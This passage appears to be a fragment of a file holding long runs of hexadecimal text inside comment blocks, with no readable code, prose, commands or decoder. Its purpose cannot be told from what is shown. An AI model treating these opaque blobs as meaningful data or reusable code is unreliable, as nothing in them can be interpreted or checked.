93edf1149cf6d107f4c7cdd0811f85606f0ad6a52c8c569c28533ffb9cfd3927083840e4690948310923b2a896f99654175e632a92abd2be646a548dccf99fc09a85c3627537f75edded5a9537c0ec8d736fe74c892ef83ff319aad080882e8804418474f9307b624ea9e349d669ebe80bedb5828e066d46d07bb4baf47bb90aea808836ebf19d3e9eb240f0d582441aeaf5c0149174773ab684619e3c07663d33badbe62c75a0fc5d0d055a10c9aa81b223bff7e87f17ef0c212f8af7981b12bd1ddb7ebeb56be2e7608b0ea4d3bec3073758c6157bb18476b6938ef755dfff47ec5f45746d0ebbdf46c3a18925535cbe780e866cbc79c78c7226ae80bc02f671c3ee5c2989579a16b09977dbc2f58d251e344159996f56aacf996102e10cb3cd1ccd596c9b0fdd62e9869de484c6e303a1cd630feba515bb85466369f6e99c10baa6ed9676ee5dc4f3f313d3cdafb97f76761a985913756390881ccf74dc25ed1f708bcf3d57ee13bc2a89ebe640174e108f477b1f67f46d49d2cf167ab1b54ad49d4eb82f7da21f3150ed8dcccf00ff3881d834674dc95d6ebc74469530fb0a196bed6014aa1e5dd4fa03adbbd366f89ed0fa51e0b81ef593dc6a4c38d36dcf7ab07a68238c871469b5169f80763dc740b8f02c48b0f17aaa880f61dce62b2cac8e88317998b0434ae7f8f992b08ab0f05ba13a12f37396ae0bb161bd048316208c3293d5ff6b903b1ab6b6f7bbbcf65a05c61375e2f2d4fcd740f71c5fb7883c29046d92e47ef278153cce6901bc0dfa52b3b9969311d3d2d00e7d17d43122ce7af1d4d4bd9303429303ce49f30efda1e4a1869c74ebee17fa1a467925c82f485d2b772fd94a0e27d622870011f6e87b47df0842de5032f288030423cac89de189763608011f090f10757a39dbc57ecff603c912df72f7403e7eefa8096189da09ee17be1acfb60e6a370217cf135d8ad0b6cc202ccae2e83d445a8a66bae15bfe541b6f8b13dfa54d636c26ed387e85ca66a53b00068202af34da44bdc4c8fbd4b74e52e597be619cb8e800ac307dba7be0b12a72cbb0896e7b2cd96aed4a406dd3eb083308d913e1f27587b6c2448212dc232880e5d0afe780a12a804b5159d500658afacd778619047a98c1697585b535514d9e4b786c9b5960ded1ea54c2720e2d9440495981d75d392d00fe48e23b20797983b918e1735b807ad16550d767bb098ce4251411ab18253eb4af7b7243d944a239347d92cc672a19be0bdb67a1184376cf34dfee6f28611afa80b424c5fb651235a08bda7caaa61c645a9a4846e4b7857cf003def66085c0618b5273741365513ada4f208760b611f64766fffcaf7c493d931b83a8f13706a89a1f064a2ed2d4393265cfa61ce6d47740f80fd7d90a3ce1*/
/*b8edac0f298cbc8449b820d07c87322b0be5bd8a933c1aac03da86a0f6d926938e77b4799689b8ab0c5c3dd9bbbfeea0f9865c57f9cf5a8442ba63df72c53e7f27070791a6c281326d5a858ce01f48be787d5c1b3c121fd3f85b5154aa4cd43c0e80e35440f6d698fb49000e6f7436abbf2bed599732ff7f13fac9658b4b580c740c85c4cd86929eb95c4a89073c2de51467ce0c4e3c84499c170f96725dcbdfd92a66659d28d9e0fa5314bd6e58e51434398cd5cb565bcc4a34ebcf6b4e91e25ae534155a68efbe46864ea53f5cd865a378080294285cc8d72be3acd19afc1a04981d9db6ed3def4750cf42af4abfe0a7febca8b69c57a94d16560f3ad900b786caa4aac644fd38675ea2277efa95cc8604568939fbacab0ce220ffaa1ec1f71f09c2dfeab3dd9b45e8b974f72c1db586a7e4808d50a0dcefee8223eecb07f0f1927ef0398eff58a0a637a7fb2b2c895c76e4a21fa5444c780a044d58b58880d3d26c50ab6b9653a0d351955b514bdec586e0b3e745c989b95f46b41da3c20333411679504c55c66305f0707247f86363b264433e52520b3ff44426ee0dcfd5e9ac619b9026c81c571f21038364dfa1a1fd8e70df8c9492e2a1e228f324e0421da4138c2143e8818bb608b982c2bdc6d7c393d6ad2e1d8374d590c36d7bc700a83a27770087a17dcf4b2db059c629ac5ebb088f6b8f83feca024c81eb092870ff4a6a6e147cc570c7173e6dc86ec30954cf76da225a2961549b26f7752a3fc51bf066b4f0f093548db34d1a077dac520f80fc0305f94ef9c7df88c00629a7fed07f1f4701349c2559a17fb1b94a755ed56cfa4166e26eb30f4a4f73bb57522a433affd2b2fe51d746e7f6154e35d79ed64d2ca39bb8968fbdb2c2c605b1aee74d541ca06a7cf8efd6c227c6ea542b5cdc075e2c45260e31c6f4bcb5fde6a67076756d93488259b73aaef760c30c5ef2767927c762cc6f8d2c1a6ed083fb28d7cbbc0b0e84f49091038857b3b45b0971561569e7f14c64a72031ba7c8f88531774f8f5246719fe826c2a3fdcbe3ecd304cb3d7eadfdae67a5fed102ef32f460c7221cd3450b02bf470bafe725ef52f4eb3d8172161583bf6d0180196631ab8803558282242d1b1d4e8f934c10c6aaebf47187baf57523bb1c0a7947163031af97192878cf641a6a0607e61ef20ca9d02efcda12760d91812d9f5fc39436d5f01b25c3ebb0d28a4cbf34933a6f22519864b1eeb3d6c811037cad4d7f2f81d9fef3db5f9b7b404297a83b3178576e0c3a8ce6fc924482352a3eb953a1db367778bb78b6fbe4dc519b3e8c9592ada4b07d5744e24c30a5175b9d060073ab2d612fc22f3d775184e03669c12f60c9b30c6630416548f2bfebc1b9df9e5cecd6e7133b1de3f7b73572f860210a461ef7accaef15bd8a03f816636335f23eeded1d9835bb8303d7bcf593c85f36ac370bb00a4aae155d58ad2ce43354cd6bff5b331e8d1de6242ee440937d21044461d20df3b79c48cc7fe414d87e7f397f0dfb0c30b5b60e953fdcc4fa825c63e1f603183091918e8118d1414278c85f690ac28280f4353708796ff6d01e9d6d0b3bf99010afc0fae427bfe98d8e343a8469d8d88fefaebc7ad7492c85d3133ea10db501851b32aa68065be163a393267c6941a1c33b5e0760788a4732d8ec14121eeec4a0a085d7e8d3088edc129ee1712ac82463e810f17714657a06a99d5ff2e967f8bba7c2f5b9c0b993f7b1f8997772cb95e6eeb0548e41f61f2c31d19b555ec8c9ac5ed84f3053f74af05f852934dc3417d8fe840e43e92c76ed9a231f825b32897325d3042923460204d0f2b424c37ff66bbcb8977e5ace9c8b9326e7e56533df4dc3758d3dcb407980a33d53f01359218fef75c00688e5e3e6cdc9f3e569f2a43291bc8331711a1f082915fa3df4bcbb2707e7ed3f35ae79edd35721994b0a29e12a98e494f3333b5b11a47a57b9600e6ac894c64f50a71e48172fc4b0e651b2694ced68426583fca0bab41c8c83cc9b5ca3358b94554c3977ad2e12055f00245de640e7ea4e08897fc485501207cff95c7af418b278dc7817ee3cad72ec68cba0e6f41fea9b479f0e1fe69ac0b5d814e271b57e92a2c5dbfc97a835261627f3b0193283c7252052caa1a7b39150ccfc21b1191c4898bf5c70fe0cf0a0ddf04cf26cc45b89f827a9413c8dd31e5b6ec86186a3aac480e8984abc75017b6f13aae9f8770b58969d1816d7d8a012513d77decddca78c4e2037da702d715ba063f299f72887748f284f153e857c182c1408e805edda2ceddd2006f2f13c6dbc555f764baff8c4bb5bff0d963eeab79e5a5162528e55f70951abd44bfc401e12cfbaeb8e30bd224d52bc4a78121f19ef291f233aebd7a1949870fc3e46bd9534b267bfb0756e581c77b829ce1d1044a4047d14c11afd81dc06f7f8df554fce537086a1aa6f7aea99355ac44c7fbdabc9086b1014e686d91a2e122fe01cecdc3907cc972200b12e181f48836b784e0ed990c6ef55c9274d2521b692c6d0ad463fe5c7fe34dc7fa8dfc2e6bc9b0946226cfe2d44de370c5bb1d2b82f34611cc9a9d568340f38943447e4704e5051ee0dcf2b4e2e89a891e744fa9f41c38c222125d1463b966c01ad42c754bb3e07fe3344ff5bea415dde82751636f57acceb37c92c35044bd93b18e43b8cfcde0b65c7ea10f8d28f77e433fd6b479e07af23e228258bdd2d95f7a7eab949d26007bca1ea5b35e8cf974fb957857141542e6f0570677f1a1695e4425f92033aeb56ae45ed8118d5e266178ae66abb07903dc64d4cd6dbab7*/
/*175cad74310b805ff7e972ed40a227e4dac6ff30901e1466792061b00cc75ee58ef377fb4466633059e3d4817150ed3e539e8b01de5d1c1e7e5f4151b69bf19042fb3facff595bbbc3725fd523259f6e081ed86037f455a92a878e8ffc00263f2a312077703a9efa94d266d2f51c2634537f1c1e24896090e9a60e11807ae18bb1968427c50d51d82f6af0febe8ba0e9985df524d5860677f471120cf70e122c788c109a77116aff86690f94fed278c93120ff94cc3797ae28c7580f4ae3739d473bcf52b7d1a92b150981c4e45855221e18d2ecbcd5bd6917438ba462267844f06db8b4f6c9eb41b618fca67d6f7e289b93edd9cfc7770d06e3637d8255c1194a5c7780cfd9d115675eaedd8200b9532990c06e75d0aec2ff26a2e1a521e2183a53a9ffc8d3ce4d01565690f2bc16a82d9f2c4935babfaa87a942f9737fff0e8140e175a564a58821dab365961dec4d4e1903a1f72d96f3f446c76b988d5dc655e02787953c7fd253d5a89653d24a8b658f48462ad3cb6c7f7a1cda7c23759d477f67718f20cf6098a9e67a58417492d527bd5a38100a4e4c47af478f5aedcd1288c1ea8a83233c6a40c0d1c7050e4c8e22971ded12e5519009e6e2647d35c434ca95e581e5598af252601b4a34c83ae7f0109b9bb9d3e180bba9e86702c30b2115bfa5819fdaef77cb015352f2cb80815a72eeb3dbf189bd90e4150ed49f9c738b2a7db631b22ac1c848e19371f2703c88660b7771e7778ca38de820d340fa9ae3270bd560af0d8e26c1ed262d4681ae3678192ecaeefd06a3406559604791441dd5bbf06f1474717879ac830b087f4e4663bc9194887148dcf94b6584df60bd2f39f369214cbab2a2af640b3e8c12c8b02ad19e51325c4510ee56165912c87222b5cf1629d4bb6bf5ffa86731de670258a95615af6c6ba01d1e862b83f3f33aa1ac750d13853eb61c34ce700a11094c67a4dc291246f0a165c8d25cc9c842d70fe26ef34824e5fbfc205c4941bd23d5e7a6b4a2be031f733e6149c4398fe598fd1d6ca5678437bef1dbbc51698a0e26df923db306825ef8723874073be545b652fd6414b66d8391fcb827b70e22decec293c932d812e1671d053c8c1c13e0daa86788d5d90432283a15993c6a4c97ed0fd3090a3730386fa4037b821284e2d7dec404d6aa5133158dda532ab156603e24ad5722fbd46f83f824e9208fa515c6f12eb5ceafc6f41fe0d3fa11bc9ca403c7fe0e44fc2ee95cc0c32fc40bfdff190ffe44399b1713a9d78a8d3506adea22f9466d1a063c9c5d3aabdf3402b97e6058714b6782d54a42b0489437d73014f13e27d96debfbde78f3b30d9904a06552256d5b0c56c12814905beefc29eda01ff12c457d711ed208c53ea5d32151b49ff804f7a2b3c7f008b779f1db89e3e3bcc8f31c40f9b869138bb3080ee68c3ee361df2b58f9f5685f426cc9e7e49d04214dc8a69c56e7883a631dfb4f0b031a2893f8da4b91af6a89221fcc9464d64a0d5014fe3982a47b206396a65b4b3ede22caccd30f9aabd8a9256a646c51800e726b6714e49d48d09ddd478e101291aaa10c2d405b2989ab927cb0d7fdcfc20d91f654ceb9258ff65af8efdc8249bc30e57e2f207b947faf13e0585ac764a186ffb836ac391582161f59d1940a1acc05d64c48ef616dd28d800a5bbea2e3535f8f520207a25a6f62dc744bca3df1b38d8ee6adeb628ed24955e8df2d9a5ed2231b599488648b543ab73079424c312ed37596d5d7942845019e735209fb2d985b243f927e0f1387052871544f1b45e91bfaa8ab25132da5d476960bf3a89461c27b08c43a1ea238225ee36b3c4243a933dccd82da69edf7790b923ffda799f26a32cac5c521ea8a0b58f3a27b958232faf500f744892cd9c512435d923d6cd7da88d938de70a28dd6b4d9c85973eafc9b2444517195488da8bed87dd54e3f35ba1f38d93d2b5dc5e641206ffe45c358c0bb7ee87b9896882a4b9efbe23110e99c48fe233e399974a30cd85606333f427518d308387f60e55cd3d3b603f8ba0af353c98daac6d57bbdb1eb33daf2ec596d447c297190818e0880aafb678b2854c3bc4f6577ecc8fa51be962e9531cf7b7b81c611e90d241fba7e367a673043643e8139e9c9ff6de5b36c8a09495592520b1ace22b908455c5c0299efc4f6ba4c86d8bf02e5993092e6c388e00d182659db35c040e6b136749118e210870ec713f670299d1ba82a83902cfa5bbb6a9a36074ba99d1cb3edb8d1fc31386c15a17930b6b1b72d79960a2965272f77ea65ce619abdeaa7ff8d08b07712a34b9fa80e1f67c0538c38ea55cdafa104b9b3d8d233a7022e785c98eab408c5ec2490cff5c5c7d4af93f7c71337469cda7ae0e844a39bfca17ff38138ffa703dd33f1a9ddc9c917cd6010b5ffe504a9818b12feaaeaca5038568d31f1b8ed3bfa4fcf3cbbe43b741124445f23dd50e2d12941f88a554b8da784b8224e0bbff68f6a1e1181a0d4b8fa642dcac0e794ec2ce632baec97fbd7d3e1f0daeb6ff5e21368d5482bd6e378e58e91708462bec5e6699682ed8525a525aa32bccfb2d8def657f4bd0c27ad3672eb6492cd5e6afd05f7a70de8c3a9a92875ebccaab616986318ff456354b378d27e2d4029f0a277fbf5b562c2f780a429aea37e2c8a9dc5bc2221c18454f786e855f833d5d1c6e0fe5d7a44fa7629f31944abab044c4c8266d5dd55e1029b8c2f05183d68859cd8289bc49a1c6c3cfcd3cf5f3f07203ecd0485a87c01650e91628acf3c9a1af6ced6fcecac5805eaafe736b979cef1a33d94c68e893533*/
/*8f2d5c6c15d16d460964fcebdc4dc8b33bb197cb2b586f18c5b16f1749a39ba3991d5670cdfb54fc73a8080b43943c94f6a933d0ac4c82a0f493e7f4dd4faef7bb2f883001dab6766bf84401120502862b966aa3e8fb64393dc5e33f37ddeb11e26a9eeb8f51659a92544658ce6e4ce042fba90c4bf6c102463d2c7d5383ff014589fa7ba61079fc163f423ab54396bcdcc72ad2773a1ecbfcc691127c13c0338f41ad2d21e630889c82b7022bccb2860dec521d1b56fa7e8d2ab1645356748b553d98be07395a5ed5e0a6fa06041fe14b2021811609b1f75c36332f461a882cd405c2ddb080ac9657f38330a426a0e51eee498699f3f81fa15f096eb809ee83092c438bf1300005b2e192c7a87601ebd5dd2eb6c6b1f745b3f62c372d2c82ae45b45a4d6f65a9eb084ddfc9e44993fa1c0d5d42ba5572884bc2131025b61e8aa26cceb83ae2bb8a100a8781d8f08f6b6d4a0a441a8ad05423cf91319df3d6a7bf0503a4ade4c1c058e8a6d84286ef63867395706cc5f3f034ffc31d2f61223e8bc78f7ee0633e9ab2d72fb03f8435485a5963e958f3d0645a96b33aa99061d1cd6d0ecf9ffa158bea96505543ad8beb70d480335d292d2c66a7b23daf430ddcf11a76038114b361eedc5d2b47cb36401a7fb3265c41008f6bc3a6b4d0e018c4736d2c25cc84279bc258c62faeeb442bc9c74e7efd59d6a4da1249dfb001f0fe2bc1ec75e65d4be03eaaa624712fc055d76a050ef6368c08a16402c2791d3a613d6d65811ed5104fe63ac7cf0c3f075a79db9a0827945d8d8e4834fb55175c173a10f5ba8199fc65f650ac9d34a1e30fa9a2f4469952ef6feaf1159903eb5711f8f7c9995c3c3f02b2121c40321ede465279d68edd3a6f37d00b70c7ff36430fe413dbf9c517c0e2f69ed9e682b213402082d550cf976226db4c055f34bbca2dca4dd8bbf2d34ed22d7bf1ebb59158e30f93a2a1cc63c9f8174d32e1d6144337f7a8f89a0723881ad5c8babde9bee865161214c85b9bef28dd3c07a6060798fe9bddee43c995fc4bcbb33acf5f5546dee69fe15e04b443ba0c74a42352b1ef3e146e01d6bfcff80bbd62b5b2f4acee2ad969f3aeb42ad6b7bb718deb4858bdb1edc2f983cf046a84b2b35b063df361c9f0451bd8c1efa05996a1559e2f8d32f6be3aa7e9855700655f485779de28e5cba6bbefd52171f6da8377d5e79a77c3b4990bd8161dc0e882751a6c39297615bbb739b455f4655d2c36c80561caf6721fe572536e21ade3fe7581c5492e666f9c4e283f5ee97e1fe303cb8a60361bea0a2ff713315db59c574b891198906ef217d5ad22735022f8cd3cc8516aabe5c20760816f08bc7b5f8715316cba9034bfde5cc2e0a6133d157abf5d22082c89129b60478db6aaa48b1dac9a29326fc78f9dcedeb019be653b268215652d9b5a3c0837284a57df82c62b18d12f66652fbe89792b4b531f1b127f4c4ca3d0dd10066d586377686a108c8fe77a2c88f3f090494b4992610b0532c90dc7fc440635454e6847c41712fc97584b6413cda8c91dd2b1b4c89c68fde8578c33e8d38695a368cb3824503f96416b33083b05c8747c619a61b9249e299aadf11979b942601c16bbb29580993e29ba6cfb4556030579ff46b22624fd4271145e1987d207c9069bc9095dec0d6fa75af10522b5586bff433756c496eeac9c467c23b435d981df0a374fc0c89f946242e99e1ba1e402432538f6a0f00d2a1b4c495379760ed9bd8cab4e1f487237909e52c57e39f1b06e1368b040feda1ef8b4e511014d0ddd3a999a5e4557be89dbb23d8b620b738ff34bd85576b3319bf0f4b1a10169b24260a0ae78cbf6cc304320b2057f8872bd432f7cf8e3227bee546c8e15a8c0206f0bc8d1788c99e87801e5ed64c6f935f13635e27e50103b2c9394637f339240bc7dc26f57ec34247f841ae36c31806728d10d067b230cecdd230f903de1237413472e30faf116d5daef0646d4a997b14f8caf3ed54aab4714641e05326522a5f23b56e5e64c74d59f31cb7315e01ae07aeb0614bff6ff4f6145ab9612f557cbad598469a97dd9fc95f688d88fa3d1228069ff90da64b3f34519c5b6027eba69e58a36479eee394306bf97928f4c8b5931cfc35c1e85d18960aac5a491867981414e636f278a36972a9ba42e09f03e5a70b6d57b158b65a2aa2a8647779a751060ee106ecf653074bc6280fc53efdcb67eb3f76958fc1f3df2c49dbfe3bd3a839080618dcaeceaaf3bd0ecefcc0f6e61ac90bdfcbea110fabf1ca7c82411d76dc63efa1927d213e397887101615bc63fc548264d0732bd1ccae89a3cdbc6f6c7da6a8b010951eb7cb3b6ab841fc52d200918f50b78bde9efa30669db7073e85a959ffd6a43401e73fb6cef2c5fd95a46d09e5097919462f763a4616e87afc24d1fe8af2d0fd2749068d024c2316f8c4d94adb1ea2458e6a76d8c0a4fa39fe58b478d4edf147188f14a10ecf1c01ffacf8fdc51563ab32698fdedb2a0a8966666bbdb1aeac3993bebcd29849d4c7ee7b6d8aa63bdf7bebf7a0e06a49aeefde120c997bf9071ba32e377c69df9463d95e783c1a4aaff8d94fe65bb05048ad61903267352d8c0a67f0a517653ba47144c802212a04215d201fc988a61ec45f0b35d8f6a3d644d774e49a4c439068987599a9f2393d0babb055aec86f0ecb75fc255e2a8ee142f89edf0b3d3acf7488c4f950380dddb41211cb862e8f2513d96cd6511540176306bb9e1efcef8e3cbae6883333cb6e234d6138f172bd349e452e6b9cf7df590584b26a9218fa7c580f4846ee347a7*/
/*3d4b901d66bf70252cabfad13039d66299a772e93e174cb945d96d4616a703277989fff7e6cea98f3e5656d3add2fe6b451f4457974ffa49c6e3d86123ea7c8394f5970a80eaa04c3d62efdf82f8d5a1d49580a35349aad5fa5ec5ac191ad360ee205228fbb63dea0a494ef611908101b17eb60e2c804d9c29f360dfbf30180a3eda7290f47b47616146a08a1c103f1dbb6e1b9986ee85f2c7aed998fc0d77127ba92389ad177c2e64e12358277b2b0c34204830db77701d46517795a9c833dc70c7a07a68bdfb13b6d2cd937219c7268d0e9d76122bf1a5f0de0f74bbe47d32caf8da7ad19a0e7472c95cda309fed18428fe36fefec8de335c27eac0c6cd593a411c87f62cd9385fa34c23002ea20c9a3311955c77d5435a6a330127a23999519685bb5d3a646816dbefaebdfc1731d9eb98e688dc4a3c0ab900bf9843b47b770d5198b2f30c9a564094075cb960dd86906ee04e4eb25a5f8059e53672aec9361aad3fff3356d7a686fd972f5e4a8ced1a6c7b0191220772117c5cd3e5557c10baa85b39764d6b001b8811c1b11c889d2e243fbb113a06f76b52369e87b0ecf32ccbde5c9a06e0ce2b4a19130162bf5346b99dc7c1329bab3e1b7cf5096639b8e0c000381c2c20f22a74055f6b9d75fbfc8dc9d6d66e2ee35351dfd3360b685bb2a2c1c43b01b23d4ade6405c5386b17c95550a52f356ee7b880b1ff075156064c292f826457eed90294cdfd2a570c419acc1ae5d6a7a2f4b4dd487fd61194b372ad88ec456561357dd8748ef00edf0165a5daaed6b5ff9821d439b0d0857928003bbaa8ccff8f9694ce1f6bb19dcf365d5c94df0db27e03ce3cb19249fa0384f601a1d2a26d6f3b8a2a8d2345a98136da1b801bca8492de14c2b8525857dcf164a000d43b51241c37f4aa9280558afcc8e040731a4ad3978f2838fdc8647eb945e62616a1b28c7b96db1820dfa848f1ba4fac24c474fef866f9a5aa8c3af5d23c8f690837ecb37775e16665d5d54bc73e83b5dda66b5cd045a4d1868c065bb145055da8200c3219ffc217612f594aae824d940cad0d694715144ce010f99ce59ee97c582189235cf37cb497e02397240cda01ca26aeec4a7818a9f8e3cf2fb042d7f82fd31ca430657be666cef8983d25beb5f2721824778cef54c49bee9cced24786c329a318ce257b406d9ef35ea89607f976e955c9b197e22d325f3f990a5d0e07e1bab8f25061f4623cdfb7898265f5da8e4345e3b50c4e0ca88ab289f094b42c535f0e5505c023ca1a594a42e390f7031f20aac98898df451f0fad5f854e617de3b82d4983ed27f6b4d57c11c5b22df74cf8881bc6b1b5eb1d344662b3647f10971a59b43375e95e7673102e9da26a149bd32a4c14ea787c97b9d57a5323c2590b937b9fa1216b4b6c77cd584a9fcfe296df2846fa7c97fa5e5367b924a2f671ae42940b983514b418b2ec142fdb1957e74b173c71a14c26fb7fa2854400c8619d9073cb20b608cad569dd6e82561bd2df96c736bb52244999699c01f56d7c107d1d72319b3a76e27cf69d398e0f43cac4d2ca3ed42a7b74000ce21f1c59d87753c606ec565e18123a2d8361c6738db3918ac7c77a0802c1237e40b08a9f9b805c91b7f57868e125c40e0aed3c2bf9a765ed56bd10e29bc59edd03e58b54e6a4b9c43c496e55288d156d15f3f21620ec9e4ef6e9b474251a783db55563b8d475d77a09669931b0a3ce70d7ba37fae275bf129822e2919ab2012646bd19f83810e6a33df3db643eae6de037b4dfe91e3e5cc94e6582febea3fdfb635ee9f9fa26b9ff2ee19b527b6a847b289efa34898a03d5abc0eb529b22db21b4d6c42ee857e29c42cac5493f09eab671d54b57bcc6dbf02ff4431eeeb24871bdde03b962ac71b63395a306d5b6221abfa4b20329f84dba11702ec85b72cf6e5845b1f1887f419dcbb5ca9104da17ceb292366e4be23f6d206c69449803f17d014e3fa49607e8297a2ae625188f9b2dbd05a4f5b27769ef40609ac286701846fb80b9edb81ba264bdedbff7feb006e7e82442fdcafa42f2cad3c5c07323925131523911557af5e0f4068df92c22b1a3179a7d29f99258d92a3b4e19278124eb6ea266dd7097e242c9991b11e3f781f0cd6660c014d1dea378eec04f9472e15456ebcba170806280ee7f6248cacbe4ece78b73b9ac92fadd51967e05842a95894979a5c7dffb3377258c00bc7d0c3df9174bd70bc9c03d4bb6ac343fe95de4c2e67952d2d39bfa74dee3a115a523aff8c0b8a4aa2e3d3905d05856277809e42a1dfa432699ebcacd7519eac373f33c7d5b6a4b5f729bb1b9a502e83be9728c3d9aad5527a89dcbb443e2bb11af821629a66042d2ed54e574888f1d97f69fcd950c899000639869d86fca516e3669adf0fdfad6651803cf0c59641bcb1d39ae7e1d94ca3f29d3baecee1239bb22586183faeb1fe7c68242a1c9fc21e927543adb08685864643df10321647841a838878d3b85c3b90712a9a27759fe47c9dc1cea44d337634a8cf940d439eb6b4462e8ff0c89b482be63d0061b6038e2e83501b13b517a3cd661209b67a6a3c88e266dade8347109a7f3bda1830c7226adfb4a01ac6dce7819c4713e9bb343ae661d76cf28fc8f94ab045a30a3618a3ec1366feca1be31178a2ffbb1d0bc6d89455ca923edf02c1e64435e4a8ee424dfb16429297652f233366a83a5ae00c68665569d6d4cdb1f594166a2e78f980aaf058607efe1546d12d7fa48bba544b9b2b456ec4f7359a183808a6d99316fc6c6c978bdcd6238aefc7096cafb226d6e5f4640d8353009b*/
/*a1010dbdf12d681ff732b3e6bc8ffe9b618e20f0074ad1b5d411fab174df46a8ab50f8bf85d64600f914f07794b8106a5dc1bbaabbcfecb689079add4793aff27560d46ed1263c116e67525af60a2fcdce3a0f6cd59502b61e01fb25c14880a7995c57efa51d7762aaf340b074baf1198e42cb2c30d7d24975cb3a9298e5194501d09d0675a3333cc9b2743d8c6e70af5b43358376e728f3deeb1c90b2b5a797ceb549b5e0010208ed0f865403de2fefd949780b472d085a685a0849878b72b7bc98b159eb236a00b35642c14553c6cf60c214647157a9f6479ed84f0585309824c70de69569b1745afe2758e298562a9c92175ddf5b872955dc5b9bca845491b7c64a2470ba91a95a4e12fd0ed30d5b311f0f31d0abb7b46c41213e1170c32f81d22c39fb32035453d06748a27c4cdfd63a4a2334d099912f2ea7e9bdb2771b6d026d16d7a0e502fcc13a0232f61fe84ee48b15c64ea70b42cb1fb3446fb525de3f674a6d0a67cf3e8522f751b8c9a9bfc348d7bff7f931593fb01475f894c450a26cff6e25df15895ee54ddc9dd8db0919789c672832358b470a6ba0dd3f71dc554af077765c21d27da96d094f79b3ca1924c6b75e92fe1ff94e3dfa96e6f1ab63c3caf0e2f81231645c0f88909d284388da1313c8f1a6cb425eb6087d068d670b470f9b279038305cd59124141beee545db7efa45f631d7aa2df1b7e40bf1bbb0fb1a098d16ceefc10f0106f826925f1ed423294652bb463fa1a9bc40c4bb5f0d8830789bde65224af4ba1f5d26ff7c6a558e328e6ef568cfb002e2cef6afc24e4b56b97343b9843355823bb5f97935ec615a575e629dbdfb06d120fb53b512c462de539f3869de2f5c5eabeb914c9745900c217da9f0185186a6349a1aef8bd271cfd6fe0b0cafcde4be0e8922994b7c08c091088b2a60bbe00181264d7d82a19f981a20f280676098967b050352ba72df4be14508223ef780184fbc7db5d0e432a65389d3f20c2cc25fec4338a4d55ca50a9ae36c43e50fda97baf65f8f83731ba3341e4c6d1a60fd4ed8276e212e623831112eebf15e0539b56c4d7fd0aab51678bd30fac9ecf2481b1494069f3db001f7b7f7d9b9bfabae76ed7a241cedfa48d85cdaab6237d2b7d2f9d1fffedd57a064e1740fa2f54a6e7508c912a6c788e5cf2718b1d6a746ffc11ab302b17df638baecfb17717220c67a5ee53e4d85cf7a1f40b8a00f6aaf143a4bddbb493d5cec60a07dc00f22e4ecbaa36969d49fbe1158669a1b69da8002db7f6864f90132d6317a10b91eb6fcbd52d0a9399c4aa0facfa74ea3e49ebf48facf64f7df915c97bb7a1baa2b662b40fb46ef8fff9ceca1df7f87217bb71aa37b35f9c85da13e0568503ede57a910ca7b756299c1a6e6b579246403f9ac042c4bb3e7970ceebb55398e64a8ad09d7fc10fd0cd9a6f15572b9920933b042f800d67d53065feb5118bb45381fada032856ac4f9bc897d14b82e491962cd3b87dbbcf836c753ae67064bb5f7ed2ad7a642ffc178e53509738cf53e9e35912df0d547990f8d4b8f67f5a6568e9e6b7a409a0ea7716d44b6eba6338d3f2fba7e03757352fd254dc14b770a8907cba62094e7d96673bdc73e4a5f55ebec9a924142b7216467f90dfcd4f0399612ee1bb58516db307daf262faa43462b1ade6348c6d9680330b6803a4c0a6706212270ca00a0353dffe5b43d8b13bc694f2df725c492047951643ecdac7eb485cba6541783c8479634b986395b219b91b104dc91c6e73a459d4fb1cfb83d174e05d7f1dd53c7fa1a5ccd7c0c60cb229b79506a548e03566180f53206cef13f4d69d3884bd3cfb9ddf1314ff0cb2ec2ff33e1a6ac26cac5b1708e5ab54ad872137a4f5f3f0fc1fbe81ac2d1db49b12e4778cb613feeb041594b0e9c0685122947283dfb478883a844cf7b0898947d165ab011d4f064f7e9077edc2cc19baaa4639446059bbda35edfea6e2e719335f25908212e4d5fad2ca5ab2a163dd7fee8e40fc349a171aab563e49ea2cb7a15a058ec3b493f315b8be2cf72c61b45516e24f5d78b8d140de6f80d2e4067ab03bd9affda0dc3b4e90371c28076550262b291b147a29a61de233244735c16cbed5d9abb0cb676df13ed52ffc47b8d1e48951b25f2fa2b6a87514ba2912359fa1bcce2a9ee0ac5920a8e79e097f17826da07a146de397b7c9afe0068b3677a90b223b316155e436233db772b07a534895bf2cf4b7e7a56985e4af2ed788522d14fb3a735cb1ccf44c36fcbea7c9fd2c90b79bd593e9737c61f1bbd7c4d591a18197beda32fd419419b4b2f479e27905e8450a5c2b455bc4f7c8e2d0f71ec74d77725a6e92667bb578cd05411bf52de886ca2fe38176d011f8abd1367fc00320caabe488aee27d0b510b3f713604571cab37711af9e749dabf1ee048248635970b6246954fa79789197e2cc0da4a5df978af4a76582847294020507c3b01f14bdd2cff6786453ce24583b3c936dede49e3a2a9f1c0c024f2c03454cbb2fd04ed44af89d9a556281f1271246c883607630f1c01db6595faabdf8f1ce7fa13c38aedc28424db44f6cf4283e98a46e25c1617d55f68d44c7436a1160f8e6280026c71db4f0471aaf9a01c637672a225670fdc4a5df0f1c9c49e2ae76d45fe875891d7dec29e1b32653027582f6039a881f0801f77c877daf60a4b64d4f523400befdd2283ec7dd44841edae422afa4f6e46155096969db6acf4c1b3a1180d8ba9d8e7015870121400db93f88190f456eada98544dd1c275f734f49ed2484e2fc38d213374a30e7b7a4ba3d3a35eaad77*/
/*1d7f847ffa0cca83ffc189aaf454d1cba75ab7be64786c2d9581b05cf0ef1121c1ecdbd08c5526acc714e2e4b0ce1f09ab181eb5d9c92dff3df6d3feb82b8368d9b371b6ab8081dba333c9ab3f5f9f39c99d2ba17594610fe49d46a437ab2e26e53a554f800cd3f00755179d7f4b7daee48d85e443f25577e81bf5098e3978d80fd8604d85ae873c12a768cfa61122b6619c69fa58341882f033e0518267c72b7606425042ae3c2238cadefa8cae6e59bf5b937ee8e6efcd418ffc950d4d35b1d72dbd775066ebb6673ee3cb270001b34b1e72027368ed91539911fb4c934a43c0118a8aed25a4064e197f1141f4a5e250df89c8fe02959754a3a7251382bda5068b11ad1ccb4a3f5fbf9456635b1739619deea325bf2074d6faa77a3727b211ab5602ac45917f3e1b2e17a5f13febfd7dce678c6b616d295792cbe34a297584b3a47daf96f290e2cb3759d383fae2fe81447853cb7e27584a434e7e38380cb47099de8badec6f1dce33a9ff4c7935f39c26b3d72bbe5cfe1973eecaadd3025a5651c7ed90f33eabe4f5de112160f433b925610aaa961747ace1489818e06a495a967da0a6f28fd03249ba89038ef7b0a3270c0b8381992bfff9b26488dfc8f347343bbd7795d87a0a05d9afab2017a230b254e93155ff5ba9f3e110a123b45d4a036ceb61368999fa95d7